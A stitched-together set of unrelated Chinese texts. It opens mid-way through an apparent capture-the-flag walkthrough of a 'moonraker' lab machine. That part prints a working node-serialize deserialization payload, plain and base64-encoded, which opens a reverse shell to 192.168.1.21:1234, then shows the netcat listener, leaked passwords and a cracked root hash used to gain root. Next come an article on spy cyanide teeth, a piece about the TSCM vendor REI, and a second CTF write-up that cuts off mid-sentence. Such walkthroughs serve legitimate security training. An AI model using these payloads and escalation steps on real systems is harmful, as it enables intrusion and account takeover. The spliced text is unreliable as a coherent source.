return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1234, "192.168.1.21", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); } }; var serialize = require('node-serialize'); console.log(serialize.serialize(rev)); 运行node rce.js以获取序列化字符串输出。 root@kali2018:/opt# node rce.js {"rce":"_$$ND_FUNC$$_function (){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? \"cmd\" : \"/bin/sh\"; var net = require(\"net\"), cp = require(\"child_process\"), util = require(\"util\"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1234, \"192.168.1.21\", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === \"undefined\") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on(\"error\", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); }"} 接下来，将IIFE括号()添加到上一步的序列化字符串输出的末尾 {"rce":"_$$ND_FUNC$$_function (){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? \"cmd\" : \"/bin/sh\"; var net = require(\"net\"), cp = require(\"child_process\"), util = require(\"util\"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1234, \"192.168.1.21\", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === \"undefined\") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on(\"error\", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); }()"} 然后将其转换成base64编码 eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gXCJjbWRcIiA6IFwiL2Jpbi9zaFwiOyB2YXIgbmV0ID0gcmVxdWlyZShcIm5ldFwiKSwgY3AgPSByZXF1aXJlKFwiY2hpbGRfcHJvY2Vzc1wiKSwgdXRpbCA9IHJlcXVpcmUoXCJ1dGlsXCIpLCBzaCA9IGNwLnNwYXduKGNtZCwgW10pOyB2YXIgY2xpZW50ID0gdGhpczsgdmFyIGNvdW50ZXI9MDsgZnVuY3Rpb24gU3RhZ2VyUmVwZWF0KCl7IGNsaWVudC5zb2NrZXQgPSBuZXQuY29ubmVjdCgxMjM0LCBcIjE5Mi4xNjguMS4yMVwiLCBmdW5jdGlvbigpIHsgY2xpZW50LnNvY2tldC5waXBlKHNoLnN0ZGluKTsgaWYgKHR5cGVvZiB1dGlsLnB1bXAgPT09IFwidW5kZWZpbmVkXCIpIHsgc2guc3Rkb3V0LnBpcGUoY2xpZW50LnNvY2tldCk7IHNoLnN0ZGVyci5waXBlKGNsaWVudC5zb2NrZXQpOyB9IGVsc2UgeyB1dGlsLnB1bXAoc2guc3Rkb3V0LCBjbGllbnQuc29ja2V0KTsgdXRpbC5wdW1wKHNoLnN0ZGVyciwgY2xpZW50LnNvY2tldCk7IH0gfSk7IHNvY2tldC5vbihcImVycm9yXCIsIGZ1bmN0aW9uKGVycm9yKSB7IGNvdW50ZXIrKzsgaWYoY291bnRlcjw9IDEwKXsgc2V0VGltZW91dChmdW5jdGlvbigpIHsgU3RhZ2VyUmVwZWF0KCk7fSwgNSoxMDAwKTsgfSBlbHNlIHByb2Nlc3MuZXhpdCgpOyB9KTsgfSBTdGFnZXJSZXBlYXQoKTsgfSgpIn0= 先登录node.js后台，然后再刷新页面，通过bupsuit进行拦截，将整个base64字符串设置为cookie中profile的值，替换完profile值后进行拦截提交，在者之前，您需要设置您的nc侦听。 现在，我们在攻击机上监听netcat，然后通过python脚本进入交互shell界面：python -c 'import pty; pty.spawn("/bin/bash")' root@kali2018:/opt# nc -lvvp 1234 listening on [any] 1234 ... 192.168.1.10: inverse host lookup failed: Unknown host connect to [192.168.1.21] from (UNKNOWN) [192.168.1.10] 46010 id uid=1001(jaws) gid=1001(jaws) groups=1001(jaws) python -c "import pty;pty.spawn('/bin/bash')" jaws@moonraker:/$ 0x04 权限提升 在枚举jaws帐户期间，我注意到Postfix正在本地监听25端口。 netstat -ano 我们进入目录/var/mial中发现了四个邮箱账号信息，但没有权限访问它们。 jaws@moonraker:~$ cd /var/mai jaws@moonraker:/var/mail$ ls -al total 96 drwxrwsr-x 2 root mail4096 Oct 14 10:25 . drwxr-xr-x 12 root root 4096 Sep 20 17:38 .. -rw------- 1 hugo mail2994 Oct 6 11:47 hugo -rw------- 1 moonrakertech mail 1478 Oct5 19:24 moonrakertech -rw------- 1 root mail 68975 Oct 6 11:40 root -rw------- 1 sales mail6342 Oct 14 10:25 sales 在了解了CouchDb的配置之后，我们发现CouchDb的默认安装目录是/opt/couchdb，从/etc/local.ini读取配置文件。 让我们查看local.ini中的配置内容 jaws@moonraker:/var/mail$tail /opt/couchdb/etc/local.ini Username: hugo Password: 321Blast0ff!! eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7ZXZhbChTdHJpbmcuZnJvbUNoYXJDb2RlKDEwLDExOCw5NywxMTQsMzIsMTEwLDEwMSwxMTYsMzIsNjEsMzIsMTE0LDEwMSwxMTMsMTE3LDEwNSwxMTQsMTAxLDQwLDM5LDExMCwxMDEsMTE2LDM5LDQxLDU5LDEwLDExOCw5NywxMTQsMzIsMTE1LDExMiw5NywxMTksMTEwLDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSw5OSwxMDQsMTA1LDEwOCwxMDAsOTUsMTEyLDExNCwxMTEsOTksMTAxLDExNSwxMTUsMzksNDEsNDYsMTE1LDExMiw5NywxMTksMTEwLDU5LDEwLDcyLDc5LDgzLDg0LDYxLDM0LDQ5LDUwLDU1LDQ2LDQ4LDQ2LDQ4LDQ2LDQ5LDM0LDU5LDEwLDgwLDc5LDgyLDg0LDYxLDM0LDUwLDUxLDUxLDUxLDM0LDU5LDEwLDg0LDczLDc3LDY5LDc5LDg1LDg0LDYxLDM0LDUzLDQ4LDQ4LDQ4LDM0LDU5LDEwLDEwNSwxMDIsMzIsNDAsMTE2LDEyMSwxMTIsMTAxLDExMSwxMDIsMzIsODMsMTE2LDExNCwxMDUsMTEwLDEwMyw0NiwxMTIsMTE0LDExMSwxMTYsMTExLDExNiwxMjEsMTEyLDEwMSw0Niw5OSwxMTEsMTEwLDExNiw5NywxMDUsMTEwLDExNSwzMiw2MSw2MSw2MSwzMiwzOSwxMTcsMTEwLDEwMCwxMDEsMTAyLDEwNSwxMTAsMTAxLDEwMCwzOSw0MSwzMiwxMjMsMzIsODMsMTE2LDExNCwxMDUsMTEwLDEwMyw0NiwxMTIsMTE0LDExMSwxMTYsMTExLDExNiwxMjEsMTEyLDEwMSw0Niw5OSwxMTEsMTEwLDExNiw5NywxMDUsMTEwLDExNSwzMiw2MSwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTA1LDExNiw0MSwzMiwxMjMsMzIsMTE0LDEwMSwxMTYsMTE3LDExNCwxMTAsMzIsMTE2LDEwNCwxMDUsMTE1LDQ2LDEwNSwxMTAsMTAwLDEwMSwxMjAsNzksMTAyLDQwLDEwNSwxMTYsNDEsMzIsMzMsNjEsMzIsNDUsNDksNTksMzIsMTI1LDU5LDMyLDEyNSwxMCwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsMzIsOTksNDAsNzIsNzksODMsODQsNDQsODAsNzksODIsODQsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDExOCw5NywxMTQsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiwzMiw2MSwzMiwxMTAsMTAxLDExOSwzMiwxMTAsMTAxLDExNiw0Niw4MywxMTEsOTksMTA3LDEwMSwxMTYsNDAsNDEsNTksMTAsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0Niw5OSwxMTEsMTEwLDExMCwxMDEsOTksMTE2LDQwLDgwLDc5LDgyLDg0LDQ0LDMyLDcyLDc5LDgzLDg0LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCw0MSwzMiwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE4LDk3LDExNCwzMiwxMTUsMTA0LDMyLDYxLDMyLDExNSwxMTIsOTcsMTE5LDExMCw0MCwzOSw0Nyw5OCwxMDUsMTEwLDQ3LDExNSwxMDQsMzksNDQsOTEsOTMsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMTksMTE0LDEwNSwxMTYsMTAxLDQwLDM0LDY3LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMTIsMTA1LDExMiwxMDEsNDAsMTE1LDEwNCw0NiwxMTUsMTE2LDEwMCwxMDUsMTEwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTExLDExNywxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTUsMTE2LDEwMCwxMDEsMTE0LDExNCw0NiwxMTIsMTA1LDExMiwxMDEsNDAsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExMSwxMTAsNDAsMzksMTAxLDEyMCwxMDUsMTE2LDM5LDQ0LDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCw5OSwxMTEsMTAwLDEwMSw0NCwxMTUsMTA1LDEwMywxMTAsOTcsMTA4LDQxLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDEwMSwxMTAsMTAwLDQwLDM0LDY4LDEwNSwxMTUsOTksMTExLDExMCwxMTAsMTAxLDk5LDExNiwxMDEsMTAwLDMzLDkyLDExMCwzNCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTExLDExMCw0MCwzOSwxMDEsMTE0LDExNCwxMTEsMTE0LDM5LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCwxMDEsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDEsMTE2LDg0LDEwNSwxMDksMTAxLDExMSwxMTcsMTE2LDQwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDQ0LDMyLDg0LDczLDc3LDY5LDc5LDg1LDg0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwxMjUsMTAsOTksNDAsNzIsNzksODMsODQsNDQsODAsNzksODIsODQsNDEsNTksMTApKX0oKSJ9Cg== 有了hugo密码，我登录他的帐户并阅读他的邮件。 jaws@moonraker:/var/mail$ su hugo Password: 321Blast0ff! Mail version 8.1.2 01/15/2001. Type ? for help. 登录hugo用户后，然后读取了其邮件信息，我们注意到Message 2很有趣，因为它包含root和哈希密码，并且还告诉我们该密码也在VROOM系统中使用。 jaws@moonraker:/var/mail$ mail "/var/mail/hugo": 3 messages 3 new >N 1 moonrakertech@moo Fri Oct5 19:11 17/842 RE:Root Access N2 moonrakertech@moo Fri Oct 5 19:3923/1351 RE:RE:RE:Root Access N3 [email protected] Fri Oct 5 20:2417/801 Decompression Accident & 这里我们读取邮件2的信息 >N 1 moonrakertech@moo Fri Oct5 19:11 17/842 RE:Root Access N2 moonrakertech@moo Fri Oct 5 19:3923/1351 RE:RE:RE:Root Access N3 [email protected] Fri Oct 5 20:2417/801 Decompression Accident & 2 Message 2: From [email protected] Oct 5 19:39:51 2018 X-Original-To: [email protected] To: [email protected] Subject: RE:RE:RE:Root Access MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 8bit Date: Fri, 5 Oct 2018 19:39:51 -0400 (EDT) From: [email protected] Hugo...I'm being given a reward huh? Finally some well deserved recognition! Also this better come with a bump in pay otherwise I'm not afraid to give you a piece of my mind! See you outside of the Decompression Chamber shortly as per your request...I'm expecting the Award to be in hand as I don't like to get up from me desk. Also your ticket has been complete. Since I'm feeling nice today, I'm including the password here in its native hash and not in the ticket. BTW this is the old password hash, the new one is the same + "VR00M" without quotes. Have fun with the decryption process "Boss"! Haha! root:$6$auLf9y8f$qgi63MGYQGnnk6.6ktcZIMpROPMqMXMEM7JufH1aTIApIPIZZu7yRjfIcZ1pELNoeMM7sIwCrVmMCjNYJRRGf/:17809:0:99999:7::: 这里显示了root以及对应旧密码的hash值 让我们复制旧密码哈希并通过John the Ripper进行离线破解 john root.hash Username: root Password: cyber 最终新的登录密码为：cyber+VR00M(cyberVR00M) 使用root身份登录系统。 su root Password: cyberVR00M hugo@moonraker:/var/mail$ su root Password: cyberVR00M 0X05 flag信息查看 成功以root身份登录，在检查其邮件目录时，我们找到了flag.txt文件。 root@moonraker:~# cd /root root@moonraker:~# ls coreDesktop Downloads flag.txt root@moonraker:~# cat flag.txt

声明：以下内容符合OSINT国际开源情报搜集定义，不涉及任何非法行为，仅供交流与参考。 01 什么是氰化物？ 影视剧里，虚构的正反面人物们在被俘虏后，便会口吐白沫，把他们的秘密带进坟墓......这都要归功于那些隐藏在假牙中的秘密氰化物，是它们协助死士们保守了秘密。 好吧，听起来这个设计似乎挺合理 先说说什么是氰化物。 所谓“氰化物”特指带有氰基（CN）的化合物，通常是有毒的致命物质。 现实中，氰化物中毒后，中枢神经系统会迅速丧失功能，继而使人体出现强直性或阵发性痉挛、昏迷、心跳停止、多脏器衰竭等症状而迅速死亡，最快五分钟即可致死。 而具有相同毒性的砒霜，则最少需要一个小时，甚至几个小时。所以，氰化物确实是能快速致死的选择之一，这一点，电影里倒是没有骗人。 嗯，顺便说一句，影视剧里那种“口吐白沫”特效，实际上是用泡腾片加牛奶特制的。 据说有演员拍太多“中毒”，导致看到泡腾片就有了心理阴影，哈哈哈~ 说到这里，突然想到个可怕的场景： 万一演员此时突发癫痫，结果导演还误以为他入戏了，所有人都继续拍摄没人理会，演员怎么办？难道发个知乎求助：在线等，挺急的？ 02 装在假牙里的可能 再聊聊氰化物装在假牙里的可行性。 首先，带有隐藏空间的假牙是真实存在的。 专门用于间谍活动的空心牙齿，主要用来隐藏胶片、微缩情报等。这些牙齿通常会代替臼齿植入，位于口腔后部的某个难以被发现的地方。 下图是国际间谍博物馆里的藏品。 其次，二战时期的氰化物药丸虽然已缩减到只有豌豆大小，但体积还是太大了，无法安全或牢固地藏在假牙中。 现实中，有人会把药丸藏在嘴里压在舌头下，但也从来没有藏在牙齿里。 国际间谍博物馆的某位研究员曾公开表示： 目前没有任何证据表明：有专门为隐藏氰化物设计制作的空心牙齿，因为它必须是一颗“非常巨大”的牙齿 下图是前苏联KGB情报机构曾使用的间谍牙齿。 从上图可以看到，内置空间的假牙外壳非常厚实，这么结实的牙齿，现实中也不可能被轻易“咬碎”。 所以，氰化物牙齿只不过是流行文化里一个过度包装的“神话”，而事实上，间谍文化中“紧急自杀措施”的普遍性，可能被媒体们夸大了。 03 真实氰化物自杀案例 2018年，一项发表在《欧洲内科医学杂志》上的医学研究调查中，法国科学家研究了阿道夫·希特勒的牙齿残骸，以确认他于 1945 年去世，试图结束关于“希特勒之死”的阴谋论。 这项对德国独裁者牙齿和头骨的科学研究都证实了，阿道夫·希特勒于 1945 年，在前苏联进攻柏林后死在他的地堡里。他是在先服用氰化物药丸后，再向头部开枪后死亡。 同时，调查结果也证实了： 他既没有乘坐潜艇逃往阿根廷，也不在南极洲的什么未知基地里（估计《重返德军总部》的游戏迷们会很失望） 1945 年 4 月下旬，当前苏联军队袭击柏林时，阿道夫·希特勒就开始了他的自杀计划，包括测试氰化物胶囊，及口述最后的遗嘱。 事实上，在墨索里尼被游击队俘虏，并在意大利米兰郊区广场被公开处决后。传闻说，希特勒无法接受这一切，所以才决定自杀。 这些纳粹核心们永远不会接受自己的失败，为避免类似的命运，他们宁愿自杀。 1945年5月，纳粹党卫队首领，盖世太保总管海因里希·希姆莱试图单独和英美和谈，被拒绝后化妆逃亡，途中被俘后自杀。 据称，当时盟军在俘虏希姆莱后，立刻开展了全身检查，身上有孔的地方都不放过，最后当用窥视镜对口腔进行二次检查时，军医听见希姆莱嘴里传来玻璃的碎裂声（注意这个细节）。 众人马上按住他企图制止，但为时晚矣，希姆莱已然毙命。就这样，希姆莱以服毒自尽的方式逃避了纽伦堡国际军事法庭对他的审判。 在二战结束的那段时间，一些纳粹军官都选择了同样的方式逃脱审判。不过和很多史学家YY的不同，这里面都与氰化物假牙没什么关系。 那么， 氰化物药丸/胶囊到底长什么样子呢？ 刚才说的那个玻璃碎裂的声音，又是什么？ 有趣的是，就在今年2月，据外媒报道，一对英国夫妇散步时偶然发现一个金属物品，疑似二战时期纳粹使用过的氰化物胶囊。 这玩意也许能回答这个疑问。 根据描述，这是一个金属胶囊外壳，里面有一个很小的玻璃内瓶（指甲盖大小）。瓶内装有透明液体，且玻璃内瓶是完全密封的。 很多人认为它可能是纳粹时期的氰化物胶囊，使用者只需将玻璃内瓶含在嘴里，直接咬碎即可去找元首唠嗑。 Look，是不是很符合希姆莱当时的情况？ 其实吧，有太多的方式可以藏匿氰化物了，完全没必要选择牙齿这个既麻烦又不靠谱的方式。 比如眼镜腿和钢笔尾部也可以藏匿氰化物药丸，这样就可以悄悄吞服，类似于默默取下眼镜，装作思考咬着眼镜腿，或者咬着笔帽。 下图是国际间谍博物馆里展出的一副特殊眼镜，其镜腿处藏有氰化物。 似乎现在依旧有不少人有这样的习惯，哈哈，随意模仿小心镜腿有毒。

声明：本文主要为RC²反窃密实验室的威胁情报小组部分成果分享，仅供交流与参考。 1 TSCM圈的扛把子：REI 所谓“天下谁人不识君”，国内外从事反窃密检测的行业人士，很少有不知道REI的。 REI，Research Electronics International，1983年成立于美国，其公司总部、研发、制造设施和培训中心均位于美国田纳西州。 37年来，REI一直从事设计和制造技术安全防护设备，以防止非法信息盗窃和企业间谍活动。 目前，REI的客户已遍布全球，包括需要和负责保护敏感信息的全球政府机构、执法组织、公司安全人员和TSCM专业人士，被公认为技术安全设备的行业领导者。 2 REI的发家史 再说说发家史。 REI公司由Bruce Barsumian于1983年在美国田纳西州的Cookeville成立，后来于1995年与Tom Jones（GM）合伙。 早在1980年代，REI就以出色的TSCM反窃密检测设备而闻名，如TRD-800反录音检测器。 RC²技术威胁情报库 ·TRD-800是REI于1989年开发制造的小型穿戴式反录音与窃听检测器。 ·它可以暗中携带，可以悄悄地探查无线电窃听器材，以及对方暗藏在身上的穿戴式录音器材，然后通过LED灯或内置振动器向使用者发出隐蔽的告警。 -----威胁情报库分割线----- 而且，REI也是最早在美国推出非线性节点探测器的公司。 他们推出检测隐蔽窃听器材的SuperScout NLJD，在市场上热销多年，远销全球各国的反间谍、情报及军事部门。 RC²技术威胁情报库 ·SuperScout NLJD是REI开发制造的第一款非线性节点探测器。 ·现代社会使用的非线性检测设备的鼻祖产品之一，所谓二次三次谐波原理的体现，即使是目前REI最新版本的非线性设备，本质原理还是一样的。 -----威胁情报库分割线----- 发展期间，REI也经受过一些政策方面的阻力。 比如2010年面向全球推出的OSCOR Blue频谱分析仪，由于产品中涉及某些先进技术，美国出口监管部门判定需要限制出口。 后来，REI通过几年艰苦谈判，终于在2016年，成功地将OSCOR Blue从出口限制条例中去除。 杨叔观点：话说经过了6年才通过，杨叔强烈怀疑真实原因是不是已经满足了技术迭代的保密期吧？ 下图是2016年，REI总经理Tom Jones与美国田纳西州的两位参议员，以及参议院外交关系委员会的专员，在讨论出口管制改革后合影。 2019年6月，REI成为HEICO Corporation的电子技术子公司。 这件事在TSCM圈还是挺轰动的，不过估计国内的相关行业没几个人会注意 那么，问题来了： 有奖问答：HEICO又是家什么企业？到底有什么背景捏？ 前三位留言回复准确的热心朋友，都将获得RC²小礼物一份，抓紧机会吧~ 3 TSCM设备标杆 根据RC²的威胁情报表明，全球诸多TSCM检测团队，都在大量使用着REI的设备。 无论是美国、法国、德国、英国等欧洲团队，还是来自乌克兰、爱尔兰的团队，都在或多或少地使用REI设备。 当然，明显东欧的团队，还是会带有斯拉夫沙文主义色彩，会不由自主地同时使用着俄罗斯的产品。 那么，REI都有哪些经典产品呢？ 典型产品有OSCOR Green、OSCOR Blue、MESA、ANDRE等四款。其中，OSCOR系列频谱分析设备算是明星产品，地位相当于现在户外圈的“北脸”，几乎人手一套。 至于ANDRE™ - Near-Field Detection Reciever，这款是提取了OSCOR部分功能重新设计推出的产品，也是希望占据企业市场的主打产品。 非线性检测设备在过去30年，已经扮演了非常重要的角色，已成为TSCM检测标配设备之一。 REI的ORION系列产品，也得到了国内外政府、执法机构及TSCM行业的肯定和好评。 嘿嘿，杨叔赌10块，国内的这些销售肯定都不知道： 这款名为TALAN的专业电话及电话线路分析设备，曾因其在行业研究和工程设计上的杰出贡献，被授予2008年度加拿大技术安全会议（CTSC）大奖。 作为一款可以对模拟、数字、IP电话线路及电话机检测的综合性设备，TALAN已经在TSCM江湖里奠定了坚定且难以超越的地位。 嗯，关于REI的主打设备就先说这么多，至于其它的音频检测、视频检测及物理检查设备，杨叔就不再细说了（哼哼，杨叔又不是REI销售，又没广告费）。 呐，RC²反窃密实验室的检测团队，也装备了几款REI设备，下图里你能认出几款？欢迎眼尖的同学留言~ 4 REI的优势 很多销售厂商其实并不清楚，REI的产品线本质上遵循了美国的TSCM行业标准和检测体系。 所以， 第一个优势是： 在有些专业领域上，REI保持了技术优势，暂时没有同等能力的对手。比如这款TALAN电话线路及电话机安全检测设备。 我们翻阅下已经解密的情报资料，在这份美国FBI在1987年的办公室TSCM例行检测报告，里面详细地开展了无线电、物理和电子检测，其中就包括了电话线路及电话机检测。 而在目前，市面上能够开展电话线路及电话机检测的综合性设备，几乎也就REI的TALAN这么一款。 咳咳，市面售价30多万，比奔驰车便宜多了。 第二个优势： 就是REI有自己的培训中心和完整的培训体系，将所有产品关联到了一起。 而且，在REI的培训中心，也有一批资深的行业教官，杨叔举个例： ·Mark S. Uker，REI培训总监 马克·S·乌克（Mark S. Uker）从美国陆军退役后，以反间谍特工身份从业17年。马克在美国马里兰州米德堡的美国陆军技术反窃密学校（US Army Technical Counterintelligence School）接受了培训，于1993年获得认证。 他作为团队成员和负责人在德国、马其顿、克罗地亚、日内瓦和美国开展了TSCM任务，主要服务于美军司令部。 目前，马克在REI从事TSCM培训课程的工作，并且还在继续开发高级TSCM概念和计算机取证的课程。 5 REI的短板 短板还是有很多的，一方面来自名气，一方面来自技术。 短板一：设备专业性正在被挑战。 对于专业通信操作人员而言，REI的频谱仪并不能算是优选。德国R&S的频谱仪在国际上的专业度和名气可要大太多了。 而随着更多同行厂商的出现，REI设备的“国际地位”也愈发被晃动，甚至有些不弱于REI的产品已经在冲击TSCM市场并受到好评。 最近REI推出的MESA设备确实满足了一些小型公司和场景的需求，但是在整体技术上，比如蓝牙、WiFi侦测上，并没有表现出太多惊喜。 杨叔观点：在杨叔个人看来，这款产品更像是为了争夺中下游需求市场的战略型产品，主要改进就是设备小型化和UI的美化，实际功能离OSCOR还是差距很大滴。 短板二：技术升级周期较长，事件响应缓慢。 正因为名气太大，所以欧洲的一些监视器材供应商，早已开始对REI的设备开展了针对性的研究，特别是REI的非线性检测设备。 呐，目前高级监视器材主流的方法之一就是增加屏蔽措施，使得REI的非线性设备无法实时探测出此类器材。 换句话说：非线性的作用也就打了很大折扣。 更多监视器材介绍：隐秘又专业 | 海外执法机构未公开的监视设备 但是作为REI主打产品之一的非线性设备，好像并没有因此进行专项升级 6 愈发激烈的市场竞争 霸特，出来混的，肯定要做好随时被挑战的可能。自然界一向如此，人类社会亦是同样。 杨叔记得英国的一个厂家，无论在展会现场，还是在杨叔坐欧铁去拜访交流时，甚至邮件里，都在反复说自家的非线性是全球Best，要比REI的产品优异很多 咳咳，最近国内几家厂商也在这么说 这类竞争厂商，杨叔会在这个“全球TSCM厂商威胁情报库”原创系列里，慢慢和大家唠唠。 7 缩水的REI官方培训？ 疫情初期，对于REI冲击还是挺大的，特别是培训方面。 现在即使恢复了线下课程，但课程已经排到了2021年下半年。 杨叔其实一直在推进与REI建立技术层面的交流，所以很早就对REI的官方课程体系做了系统性的研究和总结。 但通过对比课程安排、市场调研及学员反馈发现，REI在中国大陆开展的几次课程，无论时长和内容深度都不符合REI的标准课程定义，只能算是“产品推介会+基础使用培训”吧。 比如REI官方的“电话反窃听认证“”课程，如下图红框内的TALAN设备教学的核心两门课（TALAN Telephone Countermeasure，VoIP）共需10天，而在中国大陆开设的几次课程，所有设备堆一起讲也不过三五天罢了。 再看看下图，REI在南非的课程，同样遵循了标准的课程时长及内容，每个科目都是5天，主流几款设备就需要20天。 所以说，没有人希望这些技术性课程中，因为一些其它因素使得内容有大幅缩水，但现实却依旧说明了： 对专业设备的全部能力开展系统性研究，确实很有必要。 这也是RC²一直在默默开发TSCM专业技能实训课程的原因。 下图是在巴黎的全球最大军警装备展Milipol 2019，REI的全球销售总监Lee专程来到RC2反窃密实验室的展位，送上REI限量版纪念章。 8 国内使用现状 根据和需求方及诸多供应商交流的反馈，国内目前呈现出两个极端。 1，需求方对设备缺乏实战性理解。 很多军警执法机构里，采购了大量的REI设备，但是在使用效率上，存在很大不足。 而很多以销售业绩为主的厂商，并没有能力和人员来详细讲解设备的深入使用~ 2，非刚需企业，却购买了专业设备 企业在反窃密方面的需求虽然在升高，但由于对TSCM行业不了解，所以也有不少企业被个别无良厂商忽悠买了一批昂贵的REI检测设备。 但由于实际需求并不高，所以使用上也远远没有达到预期。 这些都导致了某种程度上的恶评，和对行业的误解（抱怨忽悠居多之类的看法），这不能不说是一种遗憾。

前言 29号开始的 31号域开始打,打了一天到2月1 WEEK1就卡瓶颈了 整个参赛人数接近2千,写笔记记录一下一些脚本和解题思路 注:本文章在比赛结束前已开启文章密码保护,未泄露解题思路,比赛结束后正式开放文章 ->Web方向 冲 Bypass it 点击注册 尝试burpsuite爆破无果,题目说不让禁用js 但那是迷惑人的,最后禁用js就可以注册成功 禁用后注册即可 注册成功直接登录就能拿到flag ez http 打开后发现需要添加refrer头跟进访问此网站 Burpsuite开盒即用中文版： 最新BurpSuite2023专业汉化版下载（无需任何配置） 2年前29106110 抓包发送到重放器里面,且添加头部文件 让后这里说需要添加ua标识 直接复制在改上去 有实战渗透的的操作了(出的题就是好!,因为一些学校的edu还有公司网站的后台即使账号密码正确也需要本地或者内网访问 此时就需要添加头文件跟进访问) 用到burpsuite的403 bypass插件 flag就隐藏在authorzation里面 我们去百度搜索 bearer token解码 拿到flag Select Coureses 打开是五个课程 这时候我们去选 选不了一点 抓包 如果发送到攻击模块里他是不会选课成功的 只有full=0的时候才会选课成功 一直点击发送 当full为0的时候就可以选课成功 多发几个重放器来回点 当五个都选完之后点击选完了就可以弹出flag ->Reverse方向 先主动分析让后丢gpt写脚本解 下面是一些常用的快捷键 ezIDA 主函数都不用看 点击view->string查看一下字符串就能找到flag ezUPX 相关工具和工具使用http://t.csdnimg.cn/99IJG 脱壳等就不演示 sorry当时忘了截图了 UPX加壳过了,Exeinfo PE检查一下是有壳的(题目也直接给了UPX是已经加壳的,如果直接拖进ida看到的都是伪代码 用upx进行脱壳 脱完之后让后确保一下再次检查有无壳 之后拖进ida 在主函数里查看 丢gpt分析 for(i=0i64;(((BYTE)v6+i)0x32)=byte_1400022A0[i];+i)/使用for循环，从i=0开始，每次增加1，直到不满足条件 为止 { /条件是：v6数组中的第i个字节，与0x32进行异或运算，得到的结果，等于byte1400022A0数组中的第i个字节 /byte_1400022A0数组是一个预设的值，用于和用户输入的标志进行比较 if((unsigned int,)+v3>=0x25)/如果满足条件，就将v3变量增加1，然后判断它是否大于等于0x25,即37 sub_140001020(“Coooo1!You rea.11 y know a1itt1 e of UPX!”);/如果v3大于等于37，就调用sub_140001020函数，输出恭喜的话 Cooool!You really know a little of 